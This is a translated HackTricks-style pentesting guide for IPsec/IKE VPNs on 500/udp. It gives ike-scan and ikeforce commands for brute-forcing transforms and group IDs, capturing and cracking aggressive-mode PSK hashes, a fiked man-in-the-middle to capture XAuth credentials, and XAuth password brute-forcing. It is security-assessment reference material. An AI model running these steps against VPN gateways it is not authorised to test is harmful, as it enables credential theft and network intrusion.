500/udp - Pentesting IPsec/IKE VPN

Support HackTricks

Osnovne informacije

IPsec je široko prepoznat kao glavna tehnologija za obezbeđivanje komunikacija između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog prolaza (udaljeni pristup), služeći kao osnovna infrastruktura za rešenja VPN za preduzeća.

Usmeravanje bezbednosne asocijacije (SA) između dva mesta upravlja IKE, koji funkcioniše pod okriljem ISAKMP, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:

  • Faza 1: Stvara se siguran kanal između dva krajnja tačke. To se postiže korišćenjem Pre-Shared Ključa (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili agresivni režim.

  • Faza 1.5: Iako nije obavezna, ova faza, poznata kao Faza proširene autentifikacije, verifikuje identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.

  • Faza 2: Ova faza je posvećena pregovorima o parametrima za obezbeđivanje podataka sa ESP i AH. Omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala Perfect Forward Secrecy (PFS), poboljšavajući bezbednost.

Podrazumevani port: 500/udp

Otkrijte uslugu koristeći nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Pronalaženje validne transformacije

IPSec konfiguracija može biti pripremljena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. Svaka transformacija sadrži niz atributa kao što su DES ili 3DES kao algoritam enkripcije, SHA ili MD5 kao algoritam integriteta, pre-shared key kao tip autentifikacije, Diffie-Hellman 1 ili 2 kao algoritam distribucije ključeva i 28800 sekundi kao vreme trajanja.

Dakle, prva stvar koju treba da uradite je da pronađete validnu transformaciju, kako bi server mogao da komunicira sa vama. Da biste to uradili, možete koristiti alat ike-scan. Po defaultu, Ike-scan radi u glavnom režimu i šalje paket ka gateway-u sa ISAKMP header-om i jednim predlogom sa osam transformacija unutar njega.

U zavisnosti od odgovora, možete dobiti neke informacije o krajnjoj tački:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Kao što možete videti u prethodnom odgovoru, postoji polje pod nazivom AUTH sa vrednošću PSK. To znači da je VPN konfigurisan koristeći prethodno podeljeni ključ (i to je zaista dobro za pentestera). Vrednost poslednje linije je takođe veoma važna:

  • 0 vraćen handshake; 0 vraćen notify: To znači da cilj nije IPsec gateway.

  • 1 vraćen handshake; 0 vraćen notify: To znači da je cilj konfigurisan za IPsec i spreman je da izvrši IKE pregovaranje, i jedan ili više transformacija koje ste predložili su prihvatljive (važa transformacija će biti prikazana u izlazu).

  • 0 vraćen handshake; 1 vraćen notify: VPN gateway-i odgovaraju sa notify porukom kada nijedna od transformacija nije prihvatljiva (iako neki gateway-i to ne rade, u tom slučaju treba pokušati dalju analizu i revidirani predlog).

Dakle, u ovom slučaju već imamo važeću transformaciju, ali ako ste u 3. slučaju, onda treba da brute-force-ujete malo da pronađete važeću transformaciju:

Prvo što treba da uradite je da kreirate sve moguće transformacije:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

I zatim izvršite brute-force na svakom koristeći ike-scan (ovo može potrajati nekoliko minuta):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Ako brute-force nije uspeo, možda server odgovara bez rukovanja čak i na važeće transformacije. Tada možete pokušati isti brute-force, ali koristeći agresivni režim:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Nadamo se da će važeća transformacija biti vraćena. Možete pokušati istu napad koristeći iker.py. Takođe možete pokušati da brute force-ujete transformacije sa ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

U DH grupi: 14 = 2048-bit MODP i 15 = 3072-bit 2 = HMAC-SHA = SHA1 (u ovom slučaju). Format --trans je $Enc,$Hash,$Auth,$DH

Cisco ukazuje da se izbegava korišćenje DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci veruju da zemlje sa mnogo resursa lako mogu da provale enkripciju podataka koji koriste ove slabe grupe. To se radi korišćenjem posebne metode koja ih priprema da brzo razbiju kodove. Iako postavljanje ove metode košta mnogo novca, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bit ili manja).

Fingerprinting servera

Zatim, možete koristiti ike-scan da pokušate da otkrijete dobavljača uređaja. Alat šalje inicijalni predlog i prestaje da ponavlja. Zatim će analizirati razliku u vremenu između primljenih poruka sa servera i odgovarajućeg obrasca odgovora, pentester može uspešno da identifikuje dobavljača VPN prolaza. Štaviše, neki VPN serveri će koristiti opcioni Vendor ID (VID) payload sa IKE.

Specifikujte važeću transformaciju ako je potrebno (koristeći --trans)

Ako IKE otkrije koji je dobavljač, odštampace to:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Ovo se takođe može postići sa nmap skriptom ike-version

Pronalaženje ispravnog ID-a (imena grupe)

Da biste bili u mogućnosti da uhvatite hash, potrebna vam je važeća transformacija koja podržava Agresivni režim i ispravan ID (ime grupe). Verovatno nećete znati važeće ime grupe, pa ćete morati da ga brute-forcujete. Da biste to uradili, preporučujem vam 2 metode:

Bruteforcing ID sa ike-scan

Prvo pokušajte da pošaljete zahtev sa lažnim ID-jem pokušavajući da prikupite hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Ako nema hash-a, onda verovatno ova metoda brute-forcing-a će raditi. Ako se neki hash vrati, to znači da će lažni hash biti poslat za lažni ID, tako da ova metoda neće biti pouzdana za brute-force ID. Na primer, lažni hash bi mogao biti vraćen (to se dešava u modernim verzijama):

Ali ako, kao što sam rekao, nema hash-a, onda bi trebalo da pokušate da brute-force-ujete uobičajena imena grupa koristeći ike-scan.

Ovaj skript će pokušati da brute-force-uje moguće ID-e i vratiće ID-e gde je vraćen validan handshake (to će biti validno ime grupe).

Ako ste otkrili specifičnu transformaciju, dodajte je u ike-scan komandu. A ako ste otkrili nekoliko transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne radi ispravno).

Možete koristiti rečnik ikeforce ili onaj u seclists sa uobičajenim imenima grupa da ih brute-force-ujete:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

2KB
vpnIDs.txt

Bruteforcing ID with Iker

iker.py takođe koristi ike-scan za bruteforce mogućih imena grupa. Prati svoju metodu da pronađe važeći ID na osnovu izlaza ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py je alat koji se može koristiti za bruteforce ID-eva takođe. Ovaj alat će pokušati da iskoristi različite ranjivosti koje bi mogle biti korišćene da razlikuju važeći i nevažeći ID (mogu imati lažne pozitivne i lažne negativne rezultate, zato preferiram da koristim metodu ike-scan ako je moguće).

Podrazumevano ikeforce će na početku poslati neke nasumične id-ove da proveri ponašanje servera i odredi taktiku koja će se koristiti.

  • Prva metoda je da se bruteforce imena grupa tako što se traži informacija Dead Peer Detection DPD Cisco sistema (ove informacije server ponovo šalje samo ako je ime grupe tačno).

  • Druga metoda koja je dostupna je da proverava broj odgovora poslatih na svaki pokušaj jer se ponekad šalje više paketa kada se koristi tačan id.

  • Treća metoda se sastoji u traženju "INVALID-ID-INFORMATION" kao odgovor na neispravan ID.

  • Na kraju, ako server ne odgovara na provere, ikeforce će pokušati da bruteforce-uje server i proveri da li kada se pošalje tačan id server odgovara nekim paketom. Očigledno, cilj bruteforce-a id-a je da se dobije PSK kada imate važeći id. Zatim, sa id i PSK moraćete da bruteforce-ujete XAUTH (ako je omogućen).

Ako ste otkrili specifičnu transformaciju, dodajte je u ikeforce komandu. A ako ste otkrili nekoliko transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne funkcioniše ispravno).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Takođe je moguće dobiti važeće korisničke nazive presretanjem veze između VPN klijenta i servera, jer je prvi paket agresivnog moda koji sadrži ID klijenta poslat u čistom obliku.

Capturing & cracking the hash

Na kraju, ako ste pronašli važeću transformaciju i ime grupe i ako je agresivni mod dozvoljen, onda možete vrlo lako uhvatiti hash koji se može probiti:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash će biti sačuvan unutar hash.txt.

Možete koristiti psk-crack, john (koristeći ikescan2john.py) i hashcat da crack-ujete hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Agresivni način IKE u kombinaciji sa Pre-Shared Key (PSK) se često koristi za grupnu autentifikaciju. Ova metoda je pojačana sa XAuth (Proširena autentifikacija), koja služi da uvede dodatni sloj autentifikacije korisnika. Takva autentifikacija obično koristi usluge kao što su Microsoft Active Directory, RADIUS, ili slični sistemi.

Prelazak na IKEv2 donosi značajnu promenu gde se EAP (Proširivi protokol autentifikacije) koristi umesto XAuth za autentifikaciju korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnih komunikacionih protokola.

Lokalna mreža MitM za hvatanje kredencijala

Tako možete uhvatiti podatke o prijavljivanju koristeći fiked i videti da li postoji neki podrazumevani korisnički naziv (Morate preusmeriti IKE saobraćaj na fiked za snimanje, što se može uraditi uz pomoć ARP spoofinga, više informacija). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Takođe, koristeći IPSec pokušajte da izvršite MitM napad i blokirate sav saobraćaj ka portu 500, ako IPSec tunel ne može da se uspostavi, možda će saobraćaj biti poslat u čistom obliku.

Brute-forcing XAUTH korisničko ime i lozinku sa ikeforce

Da biste brute-forcovali XAUTH (kada znate važeće ime grupe id i psk) možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničkog imena:lozinke.

Ako ste pronašli jednu ili više validnih transformacija, jednostavno ih koristite kao u prethodnim koracima.

Autentifikacija sa IPSEC VPN-om

U Kali, VPNC se koristi za uspostavljanje IPsec tunela. Profili moraju biti smešteni u direktorijumu /etc/vpnc/. Možete pokrenuti ove profile koristeći komandu vpnc.

Sledeće komande i konfiguracije ilustruju proces postavljanja VPN veze sa VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

U ovoj konfiguraciji:

  • Zamenite [VPN_GATEWAY_IP] sa stvarnom IP adresom VPN prolaza.

  • Zamenite [VPN_CONNECTION_ID] sa identifikatorom za VPN vezu.

  • Zamenite [VPN_GROUP_SECRET] sa grupnom tajnom VPN-a.

  • Zamenite [VPN_USERNAME] i [VPN_PASSWORD] sa autentifikacionim podacima za VPN.

  • [PID] simbolizuje ID procesa koji će biti dodeljen kada vpnc inicira.

Osigurajte da se koriste stvarne, sigurne vrednosti za zamenu mesta kada konfigurišete VPN.

Referentni materijal

Shodan

  • port:500 IKE

Support HackTricks

Last updated